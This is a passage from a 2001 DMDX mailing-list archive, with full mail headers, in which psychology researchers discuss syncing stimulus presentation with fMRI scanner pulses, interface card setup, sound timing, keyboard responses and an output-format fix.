pulse ""; >> 1 ""video1.mpg"" /; >>seems to work, but the delay needed for reading and prepearing the MPG >>differs differs between trials. Can I somehow put the lines into one or >>foce DMDX to do the time-consuming jobs before the pulse ? > > No, that leading time is part of DirectShow, not under our control. The >best you can do is note the preparation times for all items and find the >longest one, convert that to ticks and then use that plus a bit as a > parameter fixing the ISI between trials to that amount thus >allowing a constant time from the fMRI's signal to DMDX's commencing >display. If that's too inconvenient because the delay is too long you'll >have to give some serious though to having DMDX trigger the fMRI -- which >tends to be the way most people use it with DMDX as the controller rather >than the controlled. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Everything should be made as simple as possible, but not >simpler. > - Albert Einstein (1879-1955) > Quoted in Reader's Digest, October 1977 > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 5 10:57:58 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA24659 for ; Thu, 5 Apr 2001 10:57:49 -0700 Received: from lryan-dell.u.arizona.edu (128.196.98.11) by phobos.email.Arizona.EDU (5.1.056) id 3ACA79EF00029836 for DMDX@psy1.psych.arizona.edu; Thu, 5 Apr 2001 10:57:48 -0700 Message-Id: <5.0.2.1.0.20010405103509.00a273c0@ryant.inbox.email.arizona.edu> Date: Thu, 05 Apr 2001 10:49:39 -0700 To: DMDX@psy1.psych.arizona.edu From: Lee Ryan Subject: [DMDX] Re: fMRI + video In-Reply-To: <3.0.5.32.20010405181704.01acc980@pophost.mrc-cbu.cam.ac.uk > References: <5.0.2.1.2.20010405094311.009fbc10@psy1.psych.arizona.edu> <3ACC77C0.31C8EF17@uni-tuebingen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list You can't use dmdx to trigger the onset of each TR on the scanner, only the onset of the scan. But Jonathan is right, you can just add a before the display of each item if you know the longest preparation time. However, there are other benefits of allowing dmdx some leeway in the onset of the stimuli. Allowing the onset of the stimuli to ""drift"" is a good thing in fMR analysis, rather than having all stimuli systematically synced to the onset of the TR (there are refs by Friston and Anders Dale demonstrating this). You don't actually have to record each tr pulse from the scanner in order to do this. We use the dmdx trigger to start the scanner so that we're sure the onset of the first stimulus is synced with the onset of scanning, then we just use the dmdx output file to give us the onset time of each stimulus item. The TR timing will be exact throughout, as will the timing to collect each slice within the TR. By the way, using this method then allows us to do self-paced experiments in the scanner as well. Lee Ryan At 06:17 PM 4/5/01 +0100, you wrote: >This is a bit tricky - we've had similar problems (though less serious) >using DMDX to play out speech files in sync with an fMRI scanner. The >solution we used is the same one that Jonathan suggested, noting down >preparation times and then adding a bit of leeway for the delay parameter. >Of course, you need to check this on the same machine as will be used in >the scanner. You also might want to ensure that that machine's hard drive >is not too full and gets defragmented regularly (since this will affect >disk access times). > >An alternative solution is to use DMDX to record the pulses from the >scanner (one per TR) - that way you can use the DMDX output file to >reconstruct the exact time (in scans) at which your stimulus presentation >occurred. This solution allows DMDX timing to drift somewhat but would >still allow you to use the correct timings when analysing your data. I >think that this is what Jonathan means (using DMDX to trigger the >acquisition of an MRI scan is not practical since the fMRI signal will vary >depending on the inter-scan interval). > >The ideal solution, however, would be to include an option in the software >for DMDX to load video and sound files into ram at a pre-specified time >(e.g. before the start of a run). This would depend on having a machine >with lots of RAM (especially for video files). Is there any chance of this >for a later version of DMDX? > >Matt > > > > > > >At 09:49 05/04/01 -0700, you wrote: > >At 03:48 PM 4/5/01 +0200, you wrote: > >>Dear DMDXers, > >> > >>I am a new DMDX user and want to use it to display MPGs in a fMRI > >>experiment. > >>The scanner sends one ttl-pulse for each scan (28 per 3 s) or one pulse > >>per volume (TR = 3s). The pulse is fed into the gameport. To synchronize > >>video and scanner I want that DMDX waits for some pulses and then starts > >>to display the MPG. Responses from the subject are not needed in this > >>case. > >>Something like > >> 0 ""wait for MR pulse ""; > >> 0 ""wait for another MR pulse ""; > >> 1 ""video1.mpg"" /; > >>seems to work, but the delay needed for reading and prepearing the MPG > >>differs differs between trials. Can I somehow put the lines into one or > >>foce DMDX to do the time-consuming jobs before the pulse ? > > > > No, that leading time is part of DirectShow, not under our control. The > >best you can do is note the preparation times for all items and find the > >longest one, convert that to ticks and then use that plus a bit as a > > parameter fixing the ISI between trials to that amount thus > >allowing a constant time from the fMRI's signal to DMDX's commencing > >display. If that's too inconvenient because the delay is too long you'll > >have to give some serious though to having DMDX trigger the fMRI -- which > >tends to be the way most people use it with DMDX as the controller rather > >than the controlled. > > > > > >-jonathan (j.c.f.) > > > > /""\\ > > \\ / > > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > > / \\ > > > > Everything should be made as simple as possible, but not > >simpler. > > - Albert Einstein (1879-1955) > > Quoted in Reader's Digest, October 1977 > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > > >**************************************************** > Matt Davis > MRC Cognition and Brain Sciences Unit > 15 Chaucer Road, Cambridge, CB2 2EF > > email: matt.davis@mrc-cbu.cam.ac.uk > tel: 01223 355 294 (#621) > Fax: 01223 359 062 > >**************************************************** >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== Lee Ryan, Ph.D. Cognition & Neuroimaging Laboratories Department of Psychology University of Arizona Tucson, AZ 85721-0068 voice (520) 621-7443 fax (520) 621-9306 >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 5 13:41:09 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA25045 for ; Thu, 5 Apr 2001 13:41:01 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3ACA79EF0002E561 for DMDX@psy1.psych.arizona.edu; Thu, 5 Apr 2001 13:41:00 -0700 Message-Id: <5.0.2.1.2.20010405133924.009f0d20@psy1.psych.arizona.edu> Date: Thu, 05 Apr 2001 13:41:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: fMRI + video In-Reply-To: <5.0.2.1.0.20010405103509.00a273c0@ryant.inbox.email.arizon a.edu> References: <3.0.5.32.20010405181704.01acc980@pophost.mrc-cbu.cam.ac.uk > <5.0.2.1.2.20010405094311.009fbc10@psy1.psych.arizona.edu> <3ACC77C0.31C8EF17@uni-tuebingen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:49 AM 4/5/01 -0700, you wrote: >onset time of each stimulus item. The TR timing will be exact throughout, >as will the timing to collect each slice within the TR. By the way, >using this method then allows us to do self-paced experiments in the >scanner as well. Lee Ryan uses ( is the abbreviation, not exactly sure of the long version) to facilitate this. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 11 15:00:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA08860 for ; Wed, 11 Apr 2001 14:59:57 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AD49A0000007609 for DMDX@psy1.psych.arizona.edu; Wed, 11 Apr 2001 14:59:56 -0700 Message-Id: <5.0.2.1.2.20010411144749.009ebbf0@psy1.psych.arizona.edu> Date: Wed, 11 Apr 2001 14:59:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] PCI-DIO24 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list One of the labs here just bought a PCI version of the interface card DMDX uses because the machine they want to use it in doesn't have any ISA slots so I just tossed it into my test system to see how it would function. Beyond having to use the CD provided with the PCI-DIO24 to provide windows with a driver it would appear to be perfectly useable by DMDX. However a little extra care will be needed as the I/O port for the 8255 can move around, usually as hardware is added or removed from the machine. To find out what port the card was using I examined it's properties in the Device Manager and looked at the Resources tab and found the I/O resource that was 4 ports in size (as opposed to the memory resource, the interrupt resource and the other I/O resource that is 128 bytes [80 Hex] in size), it's base was D800 so I entered this into the PIO base address in the TimeDX PIO Test and all was groovy. If I added or removed hardware from that machine I would have to check that that resource didn't move, if it did I would have to change TimeDX's setting again. The only way out of this would be to buy the software that Measurement Computing sells and create a new input device in DMDX that used their drivers -- whether everyone that bought a PCI-DIO24 would have to do this or not I don't know. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Murphy's Law, that brash proletarian restatement of Godel's Theorem ..."" - Thomas Pynchon, ""Gravity's Rainbow"" >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 12 14:56:36 2001 Received: from ric.ric.uci.edu (root@ric.ric.uci.edu [128.200.63.152]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA11910 for ; Thu, 12 Apr 2001 14:55:53 -0700 Received: from hera (hera.ric.uci.edu [128.195.196.10]) by ric.ric.uci.edu (8.9.3/) with SMTP id OAA12364 for ; Thu, 12 Apr 2001 14:55:53 -0700 (PDT) Message-ID: <000e01c0c39b$575e02e0$0ac4c380@ric.uci.edu> From: ""Nabil Saba"" To: Subject: [DMDX] Sound Date: Thu, 12 Apr 2001 14:55:51 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000B_01C0C360.AADD9920"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C0C360.AADD9920 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi,=20 1- I need to play a large wav file, like 2 Megs. DMDX takes time to load the file before it plays it. Is there a way to handle this more efficiently. 2- Is there a code to specify the timing for a sound file to be played. = For ex. play a sonf for only 10 sec. Thanks ------=_NextPart_000_000B_01C0C360.AADD9920 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, 1- I need to play a large wav = file, like 2=20 Megs. DMDX takes time to load the file before = it plays=20 it. Is there a way to handle this more=20 efficiently.   2- Is there a code to specify the = timing for a=20 sound file to be played. For ex. play a sonf for only 10 = sec.   Thanks ------=_NextPart_000_000B_01C0C360.AADD9920-- >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 12 17:09:06 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA12311 for ; Thu, 12 Apr 2001 17:08:58 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AD49A0000024A66 for DMDX@psy1.psych.arizona.edu; Thu, 12 Apr 2001 17:08:57 -0700 Message-Id: <5.0.2.1.2.20010412170523.009efbb0@psy1.psych.arizona.edu> Date: Thu, 12 Apr 2001 17:08:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Sound In-Reply-To: <000e01c0c39b$575e02e0$0ac4c380@ric.uci.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:55 PM 4/12/01 -0700, you wrote: >Hi, >1- I need to play a large wav file, like 2 Megs. >DMDX takes time to load the file before it plays it. >Is there a way to handle this more efficiently. If you don't need accurate timing you can use the streaming audio keyword instead of . It won't buffer the sound and will therefore have disc access activity as the item is presented and RTs gathered (typically detrimental to accuracy). > 2- Is there a code to specify the timing for a sound file to be played. > For ex. play a sonf for only 10 sec. Yep, try the Sound section in the help file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Disco is to music what Etch-A-Sketch is to art. >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 16 11:26:10 2001 Received: from msg2.net-up.com (ns2.net-up.com [62.106.65.253]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA21977 for ; Mon, 16 Apr 2001 11:25:04 -0700 Received: from ibmczz002v ([62.106.11.142]) by msg2.net-up.com with SMTP id <20010416182423.QXSU16376.msg2@ibmczz002v> for ; Mon, 16 Apr 2001 20:24:23 +0200 Message-ID: <000d01c0c6a2$604f8680$8e0b6a3e@ibmczz002v> From: ""jpgranier"" To: Date: Mon, 16 Apr 2001 20:23:44 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0008_01C0C6B3.2288A500"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0008_01C0C6B3.2288A500 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi friends out there who are studying the same thing I am my name is Jean-Pierre. I am working on my doctrate in = psycho-linguistics at the University of Provence in the south of France. = The topic is orthographic processing in visual word recognition. I would like to know if it's possible to realize a word = identification task with DMDX,so the situation is the following: mask = (######) then prime (30 ms), then target(80 ms). The subjects have to = write on the keyboard what they saw , this is the type of response which = is required; so the question is with DMDX is it possible to write a = control file, in the parameter line or elsewhere, that permits the = subject to respond by typing on the keyboard.=20 I'm anxious to hear from someone who perhaps can clue me in. = Thanks Jean-Pierre ------=_NextPart_000_0008_01C0C6B3.2288A500 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable      Hi friends out = there who=20 are studying the same thing I am  my name is Jean-Pierre. I am = working on my=20 doctrate in psycho-linguistics at the University of Provence in the = south of=20 France. The topic  is orthographic processing in visual word=20 recognition.      I would like = to know if=20 it's possible to realize a word identification  task with DMDX,so = the =20 situation is the following: mask (######) then prime (30 ms), then = target(80=20 ms). The subjects have to write on the keyboard what they saw , this is = the type=20 of response which is required; so the question is with DMDX is it = possible to=20 write a control file, in the parameter line or elsewhere, that permits = the=20 subject to respond by typing on the keyboard.      I'm anxious to = hear from=20 someone who perhaps can clue me in.  Thanks    Jean-Pierre ------=_NextPart_000_0008_01C0C6B3.2288A500-- >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 16 12:03:42 2001 Received: from mauve.csi.cam.ac.uk (exim@mauve.csi.cam.ac.uk [131.111.8.38]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA22133 for ; Mon, 16 Apr 2001 12:03:36 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by mauve.csi.cam.ac.uk with smtp (Exim 3.22 #1) id 14pEHf-0002K0-00 for DMDX@psy1.psych.arizona.edu; Mon, 16 Apr 2001 20:03:35 +0100 Message-ID: <002201c0c6a8$085382f0$fdd46f83@sjb90> From: ""Stuart Bell"" To: References: <000d01c0c6a2$604f8680$8e0b6a3e@ibmczz002v> Subject: [DMDX] Re: Date: Mon, 16 Apr 2001 20:04:15 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jean-Pierre, > is it possible to write a control file, in the parameter line or elsewhere > that permits the subject to respond by typing on the keyboard. I'm sure someone will correct me if I'm wrong, but I think the keyword you want is or . The DMDX help file describes this really well - in particular it notes that and are probably keywords you want to use with this... Hope that helps, Stuart. _______________________________________________________ Stuart Bell Trinity College & Department of Experimental Psychology University of Cambridge (UK) >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 19 08:00:05 2001 Received: from lilac.csi.cam.ac.uk (exim@lilac.csi.cam.ac.uk [131.111.8.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA30183 for ; Thu, 19 Apr 2001 07:59:13 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by lilac.csi.cam.ac.uk with smtp (Exim 3.22 #1) id 14qFtn-0001Ny-00 for DMDX@psy1.psych.arizona.edu; Thu, 19 Apr 2001 15:59:11 +0100 Message-ID: <003c01c0c8e1$65493ff0$fdd46f83@sjb90> From: ""Stuart Bell"" To: Subject: [DMDX] azk output Date: Thu, 19 Apr 2001 15:59:55 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Just noticed something that I thought it might be useful to implement in a new release of DMDX... In general, lines in azk files consist of an item number, then one or more spaces, and then a measure of reaction time. This is great, as it allows me to use Matt Davis' very useful getdat.awk script (http://www.mrc-cbu.cam.ac.uk/personal/matt.davis/dmdx.html#Getdat) to produce a columnar tab-delimited data file for import into Excel. However, some of my subjects have been giving reaction times of greater than 10 seconds, and so a typical section of my azk file looks like this: 19 5426.37 12-10367.59 113 -4710.84 i.e. for item 12 above, there is no space between the item number and reaction time. Reaction times of greater than 100 seconds generate the same effect. This means that, as it stands, getdat.awk just ignores data for these items - there's no consistent separator between the two values. Might it be possible for a future build of DMDX to always put at least one space after the item number do you think please, Jonathan? It's a minor point, but might prove useful for many people, especially if they use Matt's script or something similar... Continued thanks for the great program! Stuart. _______________________________________________________ Stuart Bell Trinity College & Department of Experimental Psychology University of Cambridge (UK) >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 19 09:39:03 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA30466 for ; Thu, 19 Apr 2001 09:38:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.50) by deimos.email.Arizona.EDU (5.1.056) id 3AD79C960006BDC9; Thu, 19 Apr 2001 09:38:37 -0700 Message-Id: <5.1.0.14.2.20010419093719.009ef580@psy1.psych.arizona.edu> Date: Thu, 19 Apr 2001 09:38:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: azk output In-Reply-To: <003c01c0c8e1$65493ff0$fdd46f83@sjb90> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:59 PM 4/19/01 +0100, you wrote: >Might it be possible for a future build of DMDX to always put at least one >space after the item number do you think please, Jonathan? It's a minor >point, but might prove useful for many people, especially if they use Matt's >script or something similar... Yeah, it'll be in there, if it's really useful to you I can release a new version with the fix later today. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Disco is to music what Etch-A-Sketch is to art. >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 19 11:05:09 2001 Received: from lilac.csi.cam.ac.uk (exim@lilac.csi.cam.ac.uk [131.111.8.44]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA30759 for ; Thu, 19 Apr 2001 11:04:57 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by lilac.csi.cam.ac.uk with smtp (Exim 3.22 #1) id 14qInX-00040S-00 for DMDX@psy1.psych.arizona.edu; Thu, 19 Apr 2001 19:04:55 +0100 Message-ID: <00cb01c0c8fb$583579e0$fdd46f83@sjb90> From: ""Stuart Bell"" To: References: <5.1.0.14.2.20010419093719.009ef580@psy1.psych.arizona.edu> Subject: [DMDX] Re: azk output Date: Thu, 19 Apr 2001 19:05:40 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > Yeah, it'll be in there, if it's really useful to you I can release a > new version with the fix later today. Thanks for that Jonathan - just whenever you get a chance is fine. Best wishes, Stuart. _______________________________________________________ Stuart Bell - stuart@stuartbell.co.uk Trinity College & Department of Experimental Psychology University of Cambridge (UK) Office: (01223) (7)65 206 College: (01223) (7)41 943 >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 19 11:18:54 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA30842 for ; Thu, 19 Apr 2001 11:18:48 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3ADF1C4F0000258D for DMDX@psy1.psych.arizona.edu; Thu, 19 Apr 2001 11:18:47 -0700 Message-Id: <5.1.0.14.2.20010419111649.009ec8b0@psy1.psych.arizona.edu> Date: Thu, 19 Apr 2001 11:18:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: azk output In-Reply-To: <00cb01c0c8fb$583579e0$fdd46f83@sjb90> References: <5.1.0.14.2.20010419093719.009ef580@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:05 PM 4/19/01 +0100, you wrote: > > Yeah, it'll be in there, if it's really useful to you I can release a > > new version with the fix later today. > >Thanks for that Jonathan - just whenever you get a chance is fine. It's pretty quiet right now and it's been months since I released a new version so 2.4.06 is now available. It always leaves a space between the item number and the RT, formatting for RTs under 10 seconds remains the same however. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Murphy's Law, that brash proletarian restatement of Godel's Theorem ..."" - Thomas Pynchon, ""Gravity's Rainbow"" >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 23 10:31:48 2001 Received: from psych.york.ac.uk (psysgi1.york.ac.uk [144.32.162.63]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA08734 for ; Mon, 23 Apr 2001 10:30:45 -0700 Received: (qmail 19509 invoked from network); 23 Apr 2001 17:30:13 -0000 Received: from laurel1.york.ac.uk (HELO castle.psych.york.ac.uk) (144.32.163.33) by psysgi1.york.ac.uk with SMTP; 23 Apr 2001 17:30:13 -0000 Message-Id: <4.3.2.7.2.20010423180046.00c15e50@pop.psych.york.ac.uk> Date: Mon, 23 Apr 2001 18:29:45 +0100 To: DMDX@psy1.psych.arizona.edu From: Gareth Gaskell Subject: [DMDX] Fixed SOA with auditory presentation Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, we're trying to set up an experiment with auditory stimuli and a fixed stimulus onset asynchrony of 2000 ms. Some sound files need to trigger the timer at onset, others at a cue point in the file. So we have lines like these below: -8 *""raccourci""; +5 ""dynastie"" /*; Is it possible to use the d parameter to get these files to begin every two seconds? We've been trying using the d parameter with a short timeout, but the onset asynchrony seems to be longer than expected and variable. Will it depend on the duration of the file and or response? Any advice gratefully received! Gareth Gaskell =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Web page: http://www-users.york.ac.uk/~mgg5/ =========================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 23 10:51:01 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA08836 for ; Mon, 23 Apr 2001 10:50:55 -0700 From: mike.ford@mrc-cbu.cam.ac.uk Received: from click-cl4-cache5.ilford.mdip.bt.net by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 23 Apr 2001 18:50:51 +0100 (BST) Message-Id: <200104231750.SAA25034@mailhost.mrc-cbu.cam.ac.uk> To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Fixed SOA with auditory presentation Date: Mon, 23 Apr 2001 18:50:53 GB-Eire Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list One thing you could do Gareth is to use stereo files with a fixed length of silence on the second track. - Mike >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 23 14:11:10 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA09265 for ; Mon, 23 Apr 2001 14:10:57 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3AD79C96000B5F83 for DMDX@psy1.psych.arizona.edu; Mon, 23 Apr 2001 14:10:56 -0700 Message-Id: <5.1.0.14.2.20010423135540.00a0bdc0@psy1.psych.arizona.edu> Date: Mon, 23 Apr 2001 14:10:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Fixed SOA with auditory presentation In-Reply-To: <4.3.2.7.2.20010423180046.00c15e50@pop.psych.york.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:29 PM 4/23/01 +0100, you wrote: >Hi, we're trying to set up an experiment with auditory stimuli and a fixed >stimulus onset asynchrony of 2000 ms. > >Some sound files need to trigger the timer at onset, others at a cue point >in the file. So we have lines like these below: > >-8 *""raccourci""; >+5 ""dynastie"" /*; > >Is it possible to use the d parameter to get these files to begin every >two seconds? We've been trying using the d parameter with a short timeout, >but the onset asynchrony seems to be longer than expected and variable. >Will it depend on the duration of the file and or response? Yep. You will need to make sure that the display is active for longer than the response timeout to get rid of that variability. For instance assuming a t4000: +5 ""dynastie"" /* <%ms 4000>/; Using the length of a wave file to determine a display's duration (or an item's duration as in item 8) is not recommended as you are relying on a calculation to determine the duration of the display as opposed to specifying it. Also item 8's structure will yield variability because DMDX will spinning until the wave file is finished playing, another uncertain duration. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Adult, n.: One old enough to know better. >From DMDX-owner@psy1.psych.arizona.edu Fri Apr 27 02:56:48 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA19152 for ; Fri, 27 Apr 2001 02:47:33 -0700 Received: from Boris (n2sgir225.psycho.univ-paris5.fr [193.51.84.225]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.2) with SMTP id LAA27614 for ; Fri, 27 Apr 2001 11:33:05 +0200 (MET DST) Message-ID: <002b01c0cefe$20b4aaa0$312815ac@lpe> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] Fw: dmdx add-ons Date: Fri, 27 Apr 2001 11:40:12 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0028_01C0CF0E.D22B03A0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0028_01C0CF0E.D22B03A0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, You could be interested by two programs (in perl) I made : azk2txt: it formats your dmdx output: (errors, display problems, and = conditions (if your item number is correctly coded)) mean: if your file is organised by line, it removes the outliers (you = can see an example in the zip file)=20 You can download them on http://www.borisnew.org/stories.php?topic=3D6 Hope they will be useful!! ------=_NextPart_000_0028_01C0CF0E.D22B03A0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi,   You could be interested by two programs = (in perl) I=20 made :   azk2txt: it formats your dmdx output: = (errors,=20 display problems, and conditions (if your item number is correctly=20 coded))   mean: if your file is organised by = line, it removes=20 the outliers (you can see an example in the zip file)   You can download them on http://www.borisne= w.org/stories.php?topic=3D6   Hope they will be=20 useful!! ------=_NextPart_000_0028_01C0CF0E.D22B03A0-- >From DMDX-owner@psy1.psych.arizona.edu Fri Apr 27 04:50:16 2001 Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by psy1.psych.arizona.edu 